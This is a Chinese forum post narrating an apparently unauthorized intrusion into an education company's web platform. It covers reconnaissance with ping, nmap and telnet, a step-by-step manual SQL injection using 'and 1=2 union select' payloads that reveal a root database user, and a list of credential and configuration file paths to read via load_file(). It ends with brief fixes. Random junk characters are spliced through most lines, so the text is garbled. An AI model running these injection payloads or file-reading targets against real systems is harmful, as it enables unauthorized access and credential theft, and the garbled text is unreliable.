找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2216|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:
/ g* _' d$ J: ~4 M/ M+ W! H: D( m4 z一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
5 O* |( H! d! W2 L9 K3 \8 R3 D第一步:获取需要的信息3 D: ?8 P* O5 c0 N: G: {
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
! B# [7 V) Q. g6 v, f; _% |" K0 h( {注:以下为保护特用XXX代替敏感信息
& q# O6 L9 t# ^: z/ f顺手先PING了一下他们的域名:$ z  s( Y' g& S/ C
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
9 `$ I( ~- c% E- g! K6 Q2 U# y64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms) h! O  S( ~, u' `! ^! V1 m
顺便了解一下TTL,学好基础知识才能一路顺风:
& \1 j7 D5 o) h# g2 C  M- E0 `TTL:(Time To Live ) 生存时间
, ~! A. T( w, x8 X指定数据包被路由器丢弃之前允许通过的网段数量。
* V, O8 S8 ^6 d& c+ oTTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
/ V, x5 O" N- G( V3 m使用PING时涉及到的 ICMP 报文类型5 k/ G0 v9 x( [- {* }, `
一个为ICMP请求回显(ICMP Echo Request)
8 k, y0 D4 ^2 ?# n7 a一个为ICMP回显应答(ICMP Echo Reply): _: E% A4 W+ x( e+ p' W4 h; N
TTL 字段值可以帮助我们识别操作系统类型。
$ b; p" Q6 E0 xUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 2550 s3 ~- J8 P( D% w' W
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
: o/ u/ n! b( l3 B微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128" e' o& |3 A5 G8 Z( U# x; m
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
) `' i5 ?4 |$ b当然,返回的TTL值是相同的0 \/ n, O  ]& w& n; `1 t
但有些情况下有所特殊
7 ?. _) b: \) GLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
) q( Z# `' e# I' L" `& E# YFreeBSD 4.1, 4.0, 3.4;
, }. a- @' F) q# h# C+ X+ rSun Solaris 2.5.1, 2.6, 2.7, 2.8;
9 p6 n- W6 K  m  wOpenBSD 2.6, 2.7,1 y6 C# }% f/ _% a4 [
NetBSD
; {3 n4 V* N0 L7 ]' JHP UX 10.20+ ]# U$ w+ r6 Y$ j
ICMP 回显应答的 TTL 字段值为 255
* D* x, d1 p& }Windows 95/98/98SE( u* f3 A7 W+ L1 {8 y$ J) |5 h
Windows ME
8 h# p) ~. T1 b0 F/ oICMP 回显应答的 TTL 字段值为 32
4 Q/ o$ ~6 B6 ZWindows NT4 WRKS
, t" G2 ~, k% ]8 g; Q8 gWindows NT4 Server& N  d, @; L3 T: _& }
Windows 2000/ Y- x* `# ]/ t3 f0 G; ^
Windows XP
. @' o; k; p! P5 ~, r6 cICMP 回显应答的 TTL 字段值为 128
% [0 Q) D4 G& K# k$ e/ W6 ~. w6 A这样,我们就可以通过这种方法来辨别操作系统5 W1 k) a( [' N- j3 h
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
- _6 Q8 F! @. V7 H  H$ Z. D: z  k用NMAP扫描一下:
; T. o0 n0 C+ K0 v: hnmap -sT -O XXX.XXX.XXX.XXX
1 C, @: E( u& A+ M& M如果没有装WinPcap则会弹出提示:
' I) m& ~+ M  ^3 o; X& v5 EWARNING: Could not import all necessary WinPcap functions.  You may need to upgr
3 N6 M5 e7 M' K! `, X3 o* Eade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(- J  Z4 p0 i8 H$ h/ S) b9 A
) mode — Nmap may not function completely9 `6 |) }  J; y! E( o0 e
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher4 }1 u) A: I* v6 ~0 b# k
and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
/ K: I$ M) C2 tpcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an8 o0 z5 N5 o3 @: E6 l5 b8 [3 i
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v! {9 H. \: Z" d
ersions, you may be able to take iphlpapi.dll from another system and place it i2 S6 D& ^& `8 ?0 B+ L
n your system32 dir (e.g. c:\windows\system32).
$ u+ P$ a3 l% B' ^4 z1 NQUITTING!; F4 ?, U( y: f( l8 }
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
' C6 O; h9 T. K安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:3 r: |! [& J4 Q9 i; N6 M  I% b+ l
Interesting ports on XXX.XXX.XXX.XXX:
$ i, T1 q, u0 L9 u! v3 G) lNot shown: 986 closed ports( c! E' t( H9 p! q4 `
PORT     STATE    SERVICE/ E! s; Y: ^: C+ `6 U0 }
21/tcp   open     ftp
3 w% U2 N( |+ h9 T- X22/tcp   open     ssh5 s0 P) v& s2 K  E
23/tcp   open     telnet
, T. B. ~5 F8 f" ~6 b& l' w80/tcp   open     http, L3 p5 K/ _" D; C" T* U4 K! @' D5 t
111/tcp  open     rpcbind
* g0 {% V9 j; }4 a6 _135/tcp  filtered msrpc
0 d) U3 ?3 J7 \/ h. ^139/tcp  filtered netbios-ssn
. J& D+ r8 y7 ]7 b5 W445/tcp  filtered microsoft-ds
  W$ q$ I  h! N  o7 E9 x* c513/tcp  open     login
. r" L4 J0 K+ q; X% L6 C- {8 G0 B514/tcp  open     shell
& s$ G7 Q. ^6 ]1 f2 C& I593/tcp  filtered http-rpc-epmap* I4 _7 J' B, d' D
1720/tcp filtered H.323/Q.931! O, }9 L1 g6 b) I! T, J# F
3306/tcp open     mysql; A/ {' A/ u! c6 X; ]3 i
4444/tcp filtered krb524
! z3 `7 w6 _' M: }9 HDevice type: WAP
; h% p8 c$ k" s5 n. k4 J5 [# n, uRunning: Linux 2.4.X
! ?+ u" H8 F3 z6 [  u  c3 _8 cOS details: DD-WRT (Linux 2.4.35s)
: {# }* N: f  N& x' @0 f+ c, nNetwork Distance: 13 hops, D1 M- W6 z/ n5 O+ ]: |, w, G
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
0 j6 v( w9 u1 w& m3 s) A) M, klogin as:
- f, ^# c+ F' Y  u' HTelnet23端口也是开着的,用telnet 命令链接一下:3 F" Z4 v# T- b
telnet XXX.XXX.XXX.XXX
6 {3 f: C  H, O5 V) V1 |. c4 D提示:- X) t& E# ^) W. P' B8 I
Red Hat Enterprise Linux Server release 5.2 (Tikanga)7 l6 @+ k  y  I
Kernel 2.6.18-92.el5PAE on an i686: \, s* Z) m/ M. w
login:; Z$ [5 J7 j# D+ D; x( p: |, ?
获取HTTP头信息:0 t! D+ W# g+ M
在本地执行如下PHP代码
: ~2 D5 {: Z- D6 Z5 `4 @+ Y) d! W<?php
, G* P) s+ |) g$url = ‘XXX.XXX.XXX.XXX’;) r: Q$ y  J- m( P6 _; Q: S
print_r(get_headers($url));
4 p! ]1 X0 s7 v# s. jprint_r(get_headers($url, 1));
# s+ o% f* Q$ k2 }. U?>; O$ a# B  n# o& m: p
将以上代码保存为PHP文件,执行:* }" J6 z- a+ Y0 n) n; n
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
+ E2 K! v. k- _" ]# u现在可以得出结论:6 i- [3 w+ _& u8 M2 S$ `
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)8 J- z, W+ }/ Q# _& t$ T
内核版本:Kernel 2.6.18-92.el5PAE on an i686( A+ \; A5 w  \: W, d2 L3 s8 _
WEB服务器版本:nginx/0.7.61
, E+ ]  r/ K( N5 {( ?第二步,开始测试寻找漏洞
4 }6 \1 |1 j1 S: P. @分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
' d4 `7 D0 R9 d6 g1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的7 X+ a% J# c3 |; z. A
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
" B# R  D3 c+ p6 ^( e) R" G4 I2 Shttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常% Q  P  g# i& N9 z
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
& ?8 R9 Q2 e8 S. X5 c3 ]8 h恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
0 f( j3 `! A/ q' Q5 y, [% W3、手工注入:
# Y$ E3 A8 X8 B8 }注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。6 j& Y( t$ f: e: }! o
3.1 猜测当前表字段数
) h* \+ W. E. Ehttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10$ Z+ n* O; @# P. U
此处猜测有个简单的算法,都是有技巧的吗,呵呵2 b) S  r4 I' y# x/ M
算法简单如下:- L) j& N0 E: t  M9 ?' ]
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
+ H9 N5 r/ P' u9 M' ^1 B第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;  q  r# }$ i# O4 @# a
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。* p: ?# \% u& ^- c+ ~6 V( e: o
以此来判断,是否过界,配合取中算法猜出字段数。
0 `3 U: d- W1 I  S5 Q! q举例:
3 a0 X/ I& B# t/ nhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
& h3 g( A3 q/ F9 m- F- \http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误- Q) R7 \; m2 g$ G( f8 m$ Q
此时3则为我们要找的字段数。8 P- N0 \6 ~# E5 A, K% W( t* u
3.2 配合union联合查询字段在页面所位置: Y$ g3 T' P' N# |' D7 M5 x7 N7 k
我们已经知道了字段数为3,此时则可以做如下操作:
5 ?- x  c" E# Q1 E; I  _http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3( j3 P6 ]6 `: w/ h

0 i9 V. i. i* E6 `. q( a2 p这样就可以测试到哪些字段在页面上有所显示了,如图:$ l2 l- A& O8 }, z% I' i' }
) t% [& i: M" u8 Y
3.3 查敏感信息) W, A9 A, N; _' E# F6 J  l
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
6 `2 R( r: n" Z( Fhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database(): c4 ]/ f* Q+ n9 a5 U
3.3.1 先查数据库用户、数据库名,以备后用,如图:5 G: r+ P/ G# p8 _
# A8 D" `, t; F4 ?; v9 W
得到数据库用户为root、数据库名为DBxx;* g; `- q0 Y' U
3.3.2 查配置文件/ {) E; E$ k5 f) w; L
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。( P7 k3 e( o, \- W
查看文件有一定的条件限制:
& U% `. W$ O& t7 S/ x! R欲读取文件必须在服务器上7 b0 b. x' ?" a- ^& l
必须指定文件完整的路径
8 H# ^2 r* m6 U+ T# R: T必须有权限读取并且文件必须完全可读3 l) `; `9 u# v9 [6 J
欲读取文件必须小于 max_allowed_packet2 p) ]2 U- c8 q
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。( V/ h$ R' }1 b" y
常用的一些:& ?. J; w2 @: k
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
6 O7 Z& W" Y  a. Q! N' ?* I2 |/usr/local/apache2/conf/httpd.conf3 P# f5 I2 M. F( [. k# O) z* ^' T
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
  m: a+ {. U$ v/usr/local/app/php5/lib/php.ini //PHP相关设置
' a' O8 k: l7 q3 o$ [8 r/etc/sysconfig/iptables //从中得到防火墙规则策略
* U, }- ~3 u, X& T* v0 u1 ]+ s) G/etc/httpd/conf/httpd.conf // apache配置文件
/ S6 j; D6 a$ u, L9 ?/etc/rsyncd.conf //同步程序配置文件; B0 v8 L4 F/ s, k3 R( C* n- e
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
6 N; E5 a# M" M/etc/my.cnf //mysql的配置文件
2 R$ i1 J4 }" q* A/etc/redhat-release //系统版本
" \5 r% q% _% Q6 n' [# O( N+ f, h1 d/etc/issue# ~# w: g( }4 l4 h' Q1 A
/etc/issue.net" t3 v4 i6 F; M: `
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
: t; @; H9 m/ _3 H: |  wc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码9 [8 }. ?! V; }% M* l
c:\Program Files\Serv-U\ServUDaemon.ini' p  x$ d% H4 |+ V/ h- G$ t7 m
c:\windows\my.ini //MYSQL配置文件
! }! ^) `# R+ N+ |c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件2 e& n* i* c8 @1 _; J
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,& F+ D  }% Z7 P4 S- Y5 L
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码. ?' d" V) p; y
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此5 s* |# m* m7 Z( ]. B
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
5 u: T8 ]5 p- r4 k7 q% a( i' V* DC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
( M( ~' O" V* ~# B, I//存储了pcAnywhere的登陆密码4 B; g5 L( j) S1 O- B1 a0 x( w
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。0 a* R& i! v+ C  ?& K0 ~+ J# G; L
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。4 `" z; m0 C# ]! D4 x. c. K
最后:防范措施; a8 N- X# w5 \+ v3 C
1、修复PHP注入漏洞;" C0 r* @: G: ?! H* u+ q( p9 x( @+ Z
2、Mysql使用普通权限的用户;; D6 ]! A9 G$ O2 \) c
3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表